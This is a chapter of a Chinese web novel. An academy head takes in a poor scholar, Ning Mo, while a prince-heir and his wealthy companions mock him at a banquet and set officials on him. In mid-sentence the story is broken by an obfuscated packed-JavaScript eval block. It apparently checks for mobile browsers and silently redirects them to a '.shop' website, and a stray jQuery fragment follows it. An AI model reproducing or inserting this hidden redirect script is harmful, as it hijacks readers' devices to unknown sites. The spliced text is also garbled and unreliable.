“凭什么啊?!”
“他凭什么能进书院?!”
“院长!我也是解元!我是河阳解元!你收我啊!”
“院长!我是江东第二!我比湘南解元更有含金量,我比他有才华!”
一群人蜂拥而上,把方守朴围在中间,七嘴八舌地嚷嚷。
那个江东来的书生挤在最前面,脸涨得通红,声音都破了音:“院长!你收我!我有才华!我能给书院争光!”
方守朴被吵得头疼,眉头一皱,沉声道:“吵什么吵?”
那声音不大,却像一盆冷水浇下来,众人顿时安静下来。
方守朴目光扫过众人,一字一句道:“你们若是也能写一首能入老夫眼的诗,老夫也收。若是不能……”
他顿了顿,语气里带着几分毫不留情的嘲讽:
“那就等你们中了会元,再来找老夫。”
说完,他转身便走。
众人愣在原地,面面相觑。
会元?
那可是天下举子争破头的东西!
他们要是能中会元,还稀罕这破书院?
可这话,没人敢说出口。
宁默望着方守朴的背影,心中五味杂陈。
会元……
好大的目标。
可是眼下女人的那条道走不通,自己只能走一走这条独木桥了!
“兄弟,走啊!”周彪拽了拽他的袖子。
宁默连忙收回目光,点点头,跟着陈耘朝书院方向走去。
身后,那些读书人的目光追随着他,有羡慕,有嫉妒,有不甘,还有几分说不清道不明的复杂。
那个江东来的书生站在原地,望着宁默的背影,喃喃道:“会元……会元……我做不到啊!”
他忽然就笑了起来,笑得比哭还难看。
“我连个落脚的地方都没有,还想着会元?”
……
与此同时。
京城东城,醉仙楼。
这座京城奢华的酒楼之一,今夜被包了场。
三楼最大的雅间里,灯火通明,亮如白昼。
四角的铜鼎里燃着上好的龙涎香,青烟袅袅,香气馥郁,十二盏琉璃灯悬在头顶,照得整个房间金碧辉煌。
七八个锦衣少年围坐在一张巨大的紫檀木圆桌前。
那桌子少说能坐二十人,此刻只坐了七八个,空落落的,却摆满了山珍海味:清蒸鲥鱼、红烧熊掌、炙鹿肉、烩燕窝……
还有几道叫不上名字的菜,光是摆盘就精致得像艺术品。
每人身边都坐着两个美人。
那些美人个个浓妆艳抹,衣着暴露,或斟酒,或夹菜,或依偎在怀中娇笑。
丝竹声悠悠地响着,几个歌姬在角落里弹琴吹、箫,曲调婉转缠绵。
赵元宸坐在主位,他一袭月白锦袍,玉带束腰,发冠端整,贵气逼人。
左手揽着个美人,右手端着酒杯,神色慵懒而惬意。
“世子殿下,听说您这次去湘南,是冲着那位周家大小姐去的?”
对面一个穿着大红锦袍的少年笑嘻嘻地问。
这少年名叫韩铮,是礼部尚书的嫡孙,生得白白胖胖,一双小眼睛眯起来像两条缝。
他身边坐着两个美人,一个给他捶腿,一个给他捏肩,他舒服得直哼哼。
赵元宸微微一笑,没有否认。
“那周清澜可是京城出了名的冷美人。”
另一个锦衣少年接话,是兵部侍郎家的公子,名叫郑云,生得瘦削,一双眼睛透着精明,道:“京城不知道多少年轻俊彦想一亲芳泽,都被她那张冷脸冻回去了,世子殿下这次亲自出马,想必是手到擒来吧?”
赵元宸抿了口酒,淡淡道:“差不多吧。”
“差不多?”
韩铮眼睛一亮,身子往前探了探,“那就是拿下了?”
赵元宸没有正面回答。
他只是晃了晃酒杯,看着杯中琥珀色的酒液轻轻晃动,语气随意得像在说今天天气不错:“她与我约了三年之期,三年后,完婚。”
众人顿时一片惊叹。
“世子殿下好手段!”
“周清澜那样的冷美人,居然也动了凡心!”
“恭喜世子!贺喜世子!”
几人纷纷举起酒杯,遥遥相敬。
赵元宸也举起杯,与他们虚虚一碰,仰头饮尽。
就在这时,韩铮忽然道:“对了,我听说周清澜之前有个未婚夫,还是湘南的解元?世子殿下,这事……”
话没说完,雅间里的气氛微微一凝。
赵元宸脸上的笑容僵了一瞬。
那僵滞极短暂,短暂到几乎无法察觉,但韩铮一直盯着他,捕捉到了那一瞬。
赵元宸随即恢复如常,淡淡道:“一个挡箭牌罢了。”
“挡箭牌?”
“周家遇到些麻烦,需要一个有才华的寒门举子撑场面。”
赵元宸语气随意,像是在说一件微不足道的小事,道:“那宁默不过是个湘南解元,运气好,被选中了。我亲自去湘南一趟,周清澜觉得用不上他了,便主动退了婚。”
他顿了顿,嘴角勾起一抹似笑非笑的弧度:“怎么,韩兄对他有兴趣?”
韩铮连忙摆手:“没有没有!一个寒门解元,有什么兴趣?我就是随口一问。”
“就是。”
郑云接话道:“湘南那种穷乡僻壤的解元,有什么了不起的?来京城试试?怕是连个落脚的地方都找不到。”
“可不是嘛!”
另一个锦衣少年笑道:“京城这地方,没钱没权,寸步难行。一个外地来的寒门,想在这扎根?做梦去吧!”
韩铮翘起二郎腿,搂着身边的美人,慢悠悠地说:“咱们这些公子哥,指甲缝里漏出点什么,都够那些寒门挤破脑袋抢的了。”
他伸出小拇指,指甲修得整整齐齐,在灯光下闪着光。
“就这点指甲缝里的东西,那些寒门就得磕头谢恩。你说是不是?”他低头问怀里的美人。
那美人笑盈盈地点头:“公子说得是。”
众人笑了起来。
笑声在雅间里回荡,和着丝竹声,和着美人的娇笑,热闹非凡。
赵元宸听着,嘴角的笑意更深了。
是啊,一个寒门而已。
在湘南或许还能蹦跶几下,到了京城,算个什么东西?
就在这时。
雅间的门被轻轻叩响。
叩了三声,不轻不重,很有规矩。
“进来。”
门被推开,一个劲装护卫快步走入,他目不斜视,径直走到赵元宸身边,附耳低语了几句。
赵元宸听着,脸上的笑容慢慢凝固。
护卫说完,退后一步,垂手而立。
赵元宸沉默片刻,问:“确定?”
护卫点头:“是,城门口传来的消息。属下亲自核验过,无误。”
赵元宸又沉默了一会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267472|198102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿,挥了挥手:“下去吧。”
护卫抱拳,退了出去。
韩铮等人察觉不对,互相交换了一个眼神。韩铮试探着问:“世子殿下,出什么事了?”
赵元宸端起酒杯,抿了一口,淡淡道:“没什么大事,那个湘南解元,三日前进了京城。”
众人一愣,随即笑了起来。
“三日前?”
郑云笑道,“那今晚不就被逐出京城了?”
“哈哈哈,正好赶上!”
韩铮拍着大腿,道:“不如咱们去城门口看看热闹?看看那个寒门解元灰溜溜滚出京城的样子?”
“走走走!去见识见识!”
几人说着就要起身。
赵元宸却没有动。
他只是坐在那里,神色淡然,语气平静:“不必去了。”
韩铮愣住:“为何?”
“他留下来了。”
雅间里安静了一瞬。
“留下来了?”
韩铮瞪大眼睛,脸上的肥肉抖了抖,“怎么可能?一个外地来的,没有京城户籍,怎么可能留得下来?”
赵元宸眼中闪过一丝寒意。
那寒意极淡,淡到几乎看不见,却让雅间里的温度仿佛低了几分。
但他的语气依旧平静:“萍州书院的院长,亲自去城门口,把他带走了。”
“萍州书院?”
郑云皱眉想了想,“那个年年考评倒数第一的破书院?”
“就是那个。”
众人面面相觑,一时不知该说什么。
韩铮试探着问:“世子殿下,要不要……做点什么?”
赵元宸沉默片刻。
他端起酒杯,轻轻晃了晃,杯中酒液荡起涟漪,映着头顶的琉璃灯,流光溢彩。
然后,他忽然笑了。
那笑容,温和,从容,却让人莫名觉得发寒。
“来人。”
护卫应声而入。
赵元宸没有看他,只是盯着手中的酒杯,语气轻描淡写:
“传话给御天府巡检司,就说萍州书院窝藏湘南籍读书人宁默……没有京城户籍,没有书院文牒,违规留宿。”
他顿了顿,继续道:“让他们去查,查到了,按律处置,该逐出京城的逐出京城,该列入前科的列入前科。”
他把酒杯举到眼前,透过琥珀色的酒液看着灯光,眯了眯眼。
“顺便,让萍州书院交点罚款,不长眼的东西,也该长长记性。”
护卫抱拳:“是!”
脚步声远去,门轻轻关上。
雅间里重新安静下来。
韩铮等人对视一眼,眼中闪过一丝了然。
这才是世子的手段。
那个寒门解元以为被书院收留就万事大吉了?
天真。
在京城这地方,世子想要捏死一只蚂蚁,有的是办法,只不过……直接暗地里弄死太没意思罢了,操弄权术才是他们该有的手段。
“来来来,喝酒喝酒!”
韩铮举起酒杯,“一个蝼蚁而已,不值得世子费心。咱们继续!”
“对对对,喝酒!”
众人重新举杯,丝竹声再起,美人笑语盈盈,仿佛方才那点小小的波澜,从未发生过。
赵元宸端起酒杯,一饮而尽。
目光,却微微冷了几分。
宁默……
本世子倒要看看,你一个寒门,能在京城翻出什么浪花。